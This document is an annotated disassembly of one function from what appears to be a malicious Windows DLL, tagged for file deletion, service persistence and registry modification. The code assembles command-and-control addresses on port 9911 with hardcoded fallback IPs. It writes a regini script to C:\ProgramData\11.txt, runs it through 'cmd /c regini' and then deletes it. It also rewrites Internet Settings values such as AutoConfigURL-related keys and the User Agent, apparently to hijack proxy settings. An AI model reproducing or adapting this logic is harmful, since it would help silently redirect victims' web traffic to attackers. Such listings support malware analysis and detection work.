Function at 0x10002bd0
Capabilities:
Delete file
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000ba16
mov eax, dword fs:[0]
push eax
sub esp, 0x498
mov eax, dword [0x1001306c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x1bc]
mov dword [ebp - 0x458], 0
call fcn.10008940
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x12c]
push 7
push str.http:__
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
call fcn.100066b0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x144]
push 0xa
push str..xyz:9911_
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
call fcn.100066b0
mov edx, str.ddd.www2023.xyz
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1ec]
call fcn.10002ae0
mov byte [ebp - 4], 3
cmp dword [ebp - 0x1dc], 0
jne 0x10002caa
push 0xd
push str.47.98.230.122
lea ecx, [ebp - 0x1ec]
call fcn.100066b0
push ecx
lea edx, [ebp - 0x1ec]
lea ecx, [ebp - 0x40c]
call fcn.10007660
add esp, 4
mov edx, str.ddd2.www2023.xyz
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1d4]
call fcn.10002ae0
mov byte [ebp - 4], 5
cmp dword [ebp - 0x1c4], 0
jne 0x10002cf2
push 0xe
push str.116.62.136.252
lea ecx, [ebp - 0x1d4]
call fcn.100066b0
push ecx
lea edx, [ebp - 0x1d4]
lea ecx, [ebp - 0x3f4]
call fcn.10007660
add esp, 4
mov edx, str.PPP.www2023.xyz
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x174]
call fcn.10002ae0
mov byte [ebp - 4], 7
cmp dword [ebp - 0x164], 0
jne 0x10002d3a
push 0xd
push str.43.250.89.188
lea ecx, [ebp - 0x174]
call fcn.100066b0
push 0
push 0x1000e3e8
lea ecx, [ebp - 0x48c]
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x478], 0xf
mov byte [ebp - 0x48c], 0
call fcn.100066b0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x474]
push 1
push 0x1000f888
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x460], 0xf
mov byte [ebp - 0x474], 0
call fcn.100066b0
lea eax, [ebp - 0x48c]
mov byte [ebp - 4], 9
push eax
lea edx, [ebp - 0x474]
lea ecx, [ebp - 0x174]
call fcn.100020f0
lea ecx, [ebp - 0x174]
add esp, 4
cmp ecx, eax
je 0x10002dda
cmp dword [eax + 0x14], 0x10
mov ecx, eax
jb 0x10002dcb
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x174]
call fcn.100066b0
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x460]
cmp edx, 0x10
jb 0x10002e1a
mov ecx, dword [ebp - 0x474]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002e10
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10002e10
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.1000aabd
add esp, 8
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x478]
cmp edx, 0x10
jb 0x10002e5a
mov ecx, dword [ebp - 0x48c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002e50
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10002e50
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.1000aabd
add esp, 8
cmp dword [ebp - 0x118], 0x10
lea ecx, [ebp - 0x12c]
cmovae ecx, dword [ebp - 0x12c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002e71
sub ecx, edx
cmp dword [ebp - 0x160], 0x10
lea edx, [ebp - 0x174]
cmovae edx, dword [ebp - 0x174]
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x10002e91
sub edx, esi
cmp dword [ebp - 0x130], 0x10
lea esi, [ebp - 0x144]
cmovae esi, dword [ebp - 0x144]
lea edi, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10002eb1
sub esi, edi
inc ecx
lea eax, [esi + edx]
add eax, ecx
push eax
call fcn.1000aacb
cmp dword [ebp - 0x130], 0x10
lea edx, [ebp - 0x144]
mov esi, eax
lea ecx, [ebp - 0x174]
cmovae edx, dword [ebp - 0x144]
lea eax, [ebp - 0x12c]
cmp dword [ebp - 0x160], 0x10
push edx
cmovae ecx, dword [ebp - 0x174]
cmp dword [ebp - 0x118], 0x10
push ecx
cmovae eax, dword [ebp - 0x12c]
push eax
push str._s_s_s
push esi
mov dword [ebp - 0x498], esi
call fcn.10001110
add esp, 0x18
lea ecx, [ebp - 0x15c]
mov edx, str.PPP2.www2023.xyz
call fcn.10002ae0
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x14c], 0
jne 0x10002f4a
push 0xd
push str.231.91.73.199
lea ecx, [ebp - 0x15c]
call fcn.100066b0
push 0
push 0x1000e3e8
lea ecx, [ebp - 0x474]
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x460], 0xf
mov byte [ebp - 0x474], 0
call fcn.100066b0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x48c]
push 1
push 0x1000f888
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x478], 0xf
mov byte [ebp - 0x48c], 0
call fcn.100066b0
lea eax, [ebp - 0x474]
mov byte [ebp - 4], 0xc
push eax
lea edx, [ebp - 0x48c]
lea ecx, [ebp - 0x15c]
call fcn.100020f0
lea ecx, [ebp - 0x15c]
add esp, 4
cmp ecx, eax
je 0x10002fea
cmp dword [eax + 0x14], 0x10
mov ecx, eax
jb 0x10002fdb
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x15c]
call fcn.100066b0
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x478]
cmp edx, 0x10
jb 0x1000302a
mov ecx, dword [ebp - 0x48c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003020
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10003020
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.1000aabd
add esp, 8
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x460]
cmp edx, 0x10
jb 0x1000306a
mov ecx, dword [ebp - 0x474]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003060
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10003060
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.1000aabd
add esp, 8
cmp dword [ebp - 0x118], 0x10
lea ecx, [ebp - 0x12c]
cmovae ecx, dword [ebp - 0x12c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003081
sub ecx, edx
cmp dword [ebp - 0x148], 0x10
lea edx, [ebp - 0x15c]
cmovae edx, dword [ebp - 0x15c]
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x100030a1
sub edx, esi
cmp dword [ebp - 0x130], 0x10
lea esi, [ebp - 0x144]
cmovae esi, dword [ebp - 0x144]
lea edi, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x100030c1
sub esi, edi
inc ecx
lea eax, [esi + edx]
add eax, ecx
push eax
call fcn.1000aacb
cmp dword [ebp - 0x130], 0x10
lea edx, [ebp - 0x144]
mov edi, eax
lea ecx, [ebp - 0x15c]
cmovae edx, dword [ebp - 0x144]
lea eax, [ebp - 0x12c]
cmp dword [ebp - 0x148], 0x10
push edx
cmovae ecx, dword [ebp - 0x15c]
cmp dword [ebp - 0x118], 0x10
push ecx
cmovae eax, dword [ebp - 0x12c]
push eax
push str._s_s_s
push edi
mov dword [ebp - 0x490], edi
call fcn.10001110
add esp, 0x18
lea eax, [ebp - 0x3f4]
lea ecx, [ebp - 0x27c]
push eax
call fcn.10004a50
sub esp, 0x18
mov byte [ebp - 4], 0xd
mov ecx, esp
mov dword [ebp - 0x45c], esp
push 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push 0x1000e3e8
mov byte [ecx], 0
call fcn.100066b0
sub esp, 0x18
mov byte [ebp - 4], 0xe
mov edx, esp
mov ecx, edi
mov dword [edx + 0x10], 0
lea esi, [ecx + 1]
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003188
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.100066b0
lea ecx, [ebp - 0x48c]
mov byte [ebp - 4], 0xd
call fcn.10002690
add esp, 0x30
mov esi, eax
mov byte [ebp - 4], 0xf
mov edx, dword [esi + 0x14]
mov eax, edx
mov ecx, dword [esi + 0x10]
sub eax, ecx
cmp eax, 0x30
jb 0x10003255
lea eax, [ecx + 0x30]
mov edi, esi
mov dword [esi + 0x10], eax
cmp edx, 0x10
jb 0x100031d4
mov edi, dword [esi]
cmp edi, 0x1000f92c
jae 0x10003209
lea eax, [edi + ecx]
cmp eax, str.46000000000000000d000000000000000000000021000000
jb 0x10003209
cmp edi, str.46000000000000000d000000000000000000000021000000
ja 0x100031fa
mov dword [ebp - 0x410], 0
jmp 0x10003213
mov eax, edi
sub eax, str.46000000000000000d000000000000000000000021000000
mov dword [ebp - 0x410], eax
jmp 0x10003213
mov dword [ebp - 0x410], 0x30
lea eax, [ecx + 1]
push eax
lea eax, [edi + 0x30]
push edi
push eax
call sub.VCRUNTIME140.dll_memmove
push dword [ebp - 0x410]
push str.46000000000000000d000000000000000000000021000000
push edi
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [ebp - 0x410]
mov eax, 0x30
sub eax, ecx
push eax
lea eax, [ecx + 0x1000f92c]
push eax
lea eax, [edi + ecx]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0x24
jmp 0x10003272
push 0x30
sub esp, 8
mov byte [ebp - 0x458], 0
mov ecx, esi
push dword [ebp - 0x458]
push 0x30
call fcn.100085a0
mov esi, eax
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x460], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x474], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x464], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x460]
mov eax, edx
mov ecx, dword [ebp - 0x464]
sub eax, ecx
push 0x40
push str.0000000000000000000000000000000000000000000000000000000000000000
cmp eax, 0x40
jb 0x100032fe
cmp edx, 0x10
lea esi, [ebp - 0x474]
lea eax, [ecx + 0x40]
cmovae esi, dword [ebp - 0x474]
add esi, ecx
mov dword [ebp - 0x464], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x40], 0
lea eax, [ebp - 0x474]
jmp 0x10003318
mov byte [ebp - 0x458], 0
lea ecx, [ebp - 0x474]
push dword [ebp - 0x458]
push 0x40
call fcn.10007bb0
mov dword [ebp - 0x1f4], 0
mov edi, 3
mov dword [ebp - 0x1f0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x204], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1f4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0x460]
cmp edx, 0x10
jb 0x10003399
mov ecx, dword [ebp - 0x474]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000338f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1000338f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.1000aabd
add esp, 8
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x460], 0xf
mov byte [ebp - 0x474], 0
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x478]
cmp edx, 0x10
jb 0x100033f4
mov ecx, dword [ebp - 0x48c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100033ea
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100033ea
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.1000aabd
add esp, 8
push 0x3b
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x478], 0xf
mov byte [ebp - 0x48c], 0
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
call fcn.100066b0
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x494], 0xffffffa9
nop word [eax + eax]
push 0
push 0x1000e3e8
lea ecx, [ebp - 0x24c]
mov dword [ebp - 0x114], edi
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x238], 0xf
mov byte [ebp - 0x24c], 0
call fcn.100066b0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x234]
push 0
push 0x1000e3e8
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0xf
mov byte [ebp - 0x234], 0
call fcn.100066b0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x18c]
push 0
push 0x1000e3e8
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0xf
mov byte [ebp - 0x18c], 0
call fcn.100066b0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x1a4]
push 0
push 0x1000e3e8
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x190], 0xf
mov byte [ebp - 0x1a4], 0
call fcn.100066b0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x21c]
push 0
push 0x1000e3e8
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x208], 0xf
mov byte [ebp - 0x21c], 0
call fcn.100066b0
push str.AutoConfigURL
sub esp, 0x18
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x264]
mov ecx, esp
push eax
call fcn.10004a50
mov edx, 0x80000001
lea ecx, [ebp - 0x48c]
call fcn.100087a0
mov esi, eax
add esp, 0x1c
lea eax, [ebp - 0x18c]
cmp eax, esi
je 0x100035e2
mov edx, dword [ebp - 0x178]
cmp edx, 0x10
jb 0x100035ba
mov ecx, dword [ebp - 0x18c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100035b0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002e0a
push edx
push ecx
call fcn.1000aabd
add esp, 8
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x18c], xmm0
movq xmm0, qword [esi + 0x10]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
movq qword [ebp - 0x17c], xmm0
mov byte [esi], 0
mov edx, dword [ebp - 0x478]
cmp edx, 0x10
jb 0x1000361c
mov ecx, dword [ebp - 0x48c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003612
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002e0a
push edx
push ecx
call fcn.1000aabd
add esp, 8
push str.NameServer
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x474]
mov eax, dword [ebp - 0x1ac]
or edi, 4
add eax, 0x3e
mov dword [ebp - 0x464], 0
push eax
mov dword [ebp - 0x460], 0xf
mov byte [ebp - 0x474], 0
mov dword [ebp - 0x458], edi
call fcn.10007e30
mov edx, dword [ebp - 0x460]
mov eax, edx
mov ecx, dword [ebp - 0x464]
sub eax, ecx
push 0x3e
push str.SYSTEMCurrentControlSetServicesTcpipParametersInterfaces_
cmp eax, 0x3e
jb 0x100036a4
cmp edx, 0x10
lea esi, [ebp - 0x474]
lea eax, [ecx + 0x3e]
cmovae esi, dword [ebp - 0x474]
add esi, ecx
mov dword [ebp - 0x464], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x3e], 0
jmp 0x100036be
mov byte [ebp - 0x4a0], 0
lea ecx, [ebp - 0x474]
push dword [ebp - 0x4a0]
push 0x3e
call fcn.10007bb0
cmp dword [ebp - 0x1a8], 0x10
lea ecx, [ebp - 0x1bc]
mov esi, dword [ebp - 0x460]
mov eax, esi
cmovae ecx, dword [ebp - 0x1bc]
mov edi, dword [ebp - 0x1ac]
mov edx, dword [ebp - 0x464]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x10003719
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x464], eax
lea eax, [ebp - 0x474]
cmovae eax, dword [ebp - 0x474]
lea esi, [eax + edx]
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x10003732
mov byte [ebp - 0x4a4], 0
lea ecx, [ebp - 0x474]
push dword [ebp - 0x4a4]
push edi
call fcn.10007bb0
cmp dword [ebp - 0x460], 0x10
lea edx, [ebp - 0x474]
cmovae edx, dword [ebp - 0x474]
sub esp, 0x18
mov esi, esp
mov ecx, edx
mov dword [esi + 0x10], 0
lea edi, [ecx + 1]
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003761
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.100066b0
mov edx, 0x80000002
lea ecx, [ebp - 0x48c]
call fcn.100087a0
mov esi, eax
add esp, 0x1c
lea eax, [ebp - 0x1a4]
cmp eax, esi
je 0x100037f4
mov edx, dword [ebp - 0x190]
cmp edx, 0x10
jb 0x100037cc
mov ecx, dword [ebp - 0x1a4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100037c2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002e0a
push edx
push ecx
call fcn.1000aabd
add esp, 8
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x1a4], xmm0
movq xmm0, qword [esi + 0x10]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
movq qword [ebp - 0x194], xmm0
mov byte [esi], 0
mov edx, dword [ebp - 0x478]
cmp edx, 0x10
jb 0x1000382e
mov ecx, dword [ebp - 0x48c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003824
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002e0a
push edx
push ecx
call fcn.1000aabd
add esp, 8
mov eax, dword [ebp - 0x114]
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0x460]
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x478], 0xf
mov byte [ebp - 0x48c], 0
mov dword [ebp - 0x458], eax
cmp edx, 0x10
jb 0x10003893
mov ecx, dword [ebp - 0x474]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003889
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002e0a
push edx
push ecx
call fcn.1000aabd
add esp, 8
mov edi, dword [ebp - 0x178]
lea eax, [ebp - 0x18c]
mov esi, dword [ebp - 0x18c]
cmp edi, 0x10
mov ecx, dword [ebp - 0x498]
mov dword [ebp - 0x45c], esi
cmovae eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100038d7
test dl, dl
je 0x100038d3
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100038d7
add eax, 2
add ecx, 2
test dl, dl
jne 0x100038b7
xor eax, eax
jmp 0x100038dc
sbb eax, eax
or eax, 1
test eax, eax
je 0x10004737
mov ecx, dword [ebp - 0x490]
lea eax, [ebp - 0x18c]
cmp edi, 0x10
cmovae eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10003916
test dl, dl
je 0x10003912
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10003916
add eax, 2
add ecx, 2
test dl, dl
jne 0x100038f6
xor eax, eax
jmp 0x1000391b
sbb eax, eax
or eax, 1
test eax, eax
je 0x10004737
mov ecx, str.CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet_Settings
call fcn.10002440
mov ecx, str.CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnections
call fcn.10002440
push 0x15
push str.C:ProgramData11.txt
lea ecx, [ebp - 0x48c]
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x478], 0xf
mov byte [ebp - 0x48c], 0
call fcn.100066b0
push 0xb0
lea eax, [ebp - 0x32c]
mov byte [ebp - 4], 0x1b
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [ebp - 0x48c]
push eax
lea ecx, [ebp - 0x32c]
call fcn.10004b20
mov edx, str.HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnections__1_7_17_
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x32c]
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
lea ecx, [ebp - 0x328]
call fcn.10006a70
test eax, eax
jne 0x100039e4
mov eax, dword [ebp - 0x32c]
lea ecx, [ebp - 0x32c]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001ba0
mov eax, dword [ebp - 0x32c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x32c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x330], eax
lea ecx, [ebp - 0x328]
call fcn.10005610
mov eax, dword [ebp - 0x32c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x32c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x330], eax
lea eax, [ebp - 0x2c4]
mov byte [ebp - 4], 0x1d
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.100096ef
mov byte [ebp - 4], 0x19
add esp, 4
mov edx, dword [ebp - 0x478]
cmp edx, 0x10
jb 0x10003a98
mov ecx, dword [ebp - 0x48c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003a8e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002e0a
push edx
push ecx
call fcn.1000aabd
add esp, 8
push 0
push str.cmd__c_regini_C:ProgramData11.txt
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
push str.C:ProgramData11.txt
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
mov dl, 1
mov ecx, str.CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet_Settings
call fcn.10002170
mov dl, 1
mov ecx, str.CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnections
call fcn.10002170
lea eax, [ebp - 0x410]
mov dword [ebp - 0x410], 0x80000001
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x10003b5b
lea eax, [ebp - 0x424]
push eax
push str.Internet_Settings
push dword [ebp - 0x410]
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10003b61
push 4
push 0x1000faac
push 1
push eax
push str.IE5_UA_Backup_Flag
push dword [ebp - 0x424]
call edi
test eax, eax
je 0x10003b61
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
jmp 0x10003b61
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x410]
mov dword [ebp - 0x410], 0x80000001
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003be4
lea eax, [ebp - 0x428]
push eax
push str.Internet_Settings
push dword [ebp - 0x410]
call esi
test eax, eax
jne 0x10003be4
push 0x2c
push str.Mozilla___4.0__compatible__MSIE_8.0__Win32_
push 1
push eax
push str.User_Agent
push dword [ebp - 0x428]
call edi
test eax, eax
je 0x10003be4
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x410]
mov dword [ebp - 0x410], 0x80000001
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003c67
lea eax, [ebp - 0x42c]
push eax
push str.Internet_Settings
push dword [ebp - 0x410]
call esi
test eax, eax
jne 0x10003c67
push 6
push str.User_
push 1
push eax
push str.EmailName
push dword [ebp - 0x42c]
call edi
test eax, eax
je 0x10003c67
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x410]
mov dword [ebp - 0x114], 1
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
mov dword [ebp - 0x410], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003cf7
lea eax, [ebp - 0x430]
push eax
push str.Internet_Settings
push dword [ebp - 0x410]
call esi
test eax, eax
jne 0x10003cf7
push 4
lea eax, [ebp - 0x114]
push eax
push 4
push 0
push str.PrivDiscUiShown
push dword [ebp - 0x430]
call edi
test eax, eax
je 0x10003cf7
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x410]
mov dword [ebp - 0x114], 1
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
mov dword [ebp - 0x410], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003d87
lea eax, [ebp - 0x41c]
push eax
push str.Internet_Settings
push dword [ebp - 0x410]
call esi
test eax, eax
jne 0x10003d87
push 4
lea eax, [ebp - 0x114]
push eax
push 4
push 0
push str.EnableHttp1_1
push dword [ebp - 0x41c]
call edi
test eax, eax
je 0x10003d87
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x410]
mov dword [ebp - 0x114], 1
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
mov dword [ebp - 0x410], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003e17
lea eax, [ebp - 0x434]
push eax
push str.Internet_Settings
push dword [ebp - 0x410]
call esi
test eax, eax
jne 0x10003e17
push 4
lea eax, [ebp - 0x114]
push eax
push 4
push 0
push str.WarnOnIntranet
push dword [ebp - 0x434]
call edi
test eax, eax
je 0x10003e17
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x410]
mov dword [ebp - 0x114], 0
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
mov dword [ebp - 0x410], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003ea7
lea eax, [ebp - 0x438]
push eax
push str.Internet_Settings
push dword [ebp - 0x410]
call esi
test eax, eax
jne 0x10003ea7
push 4
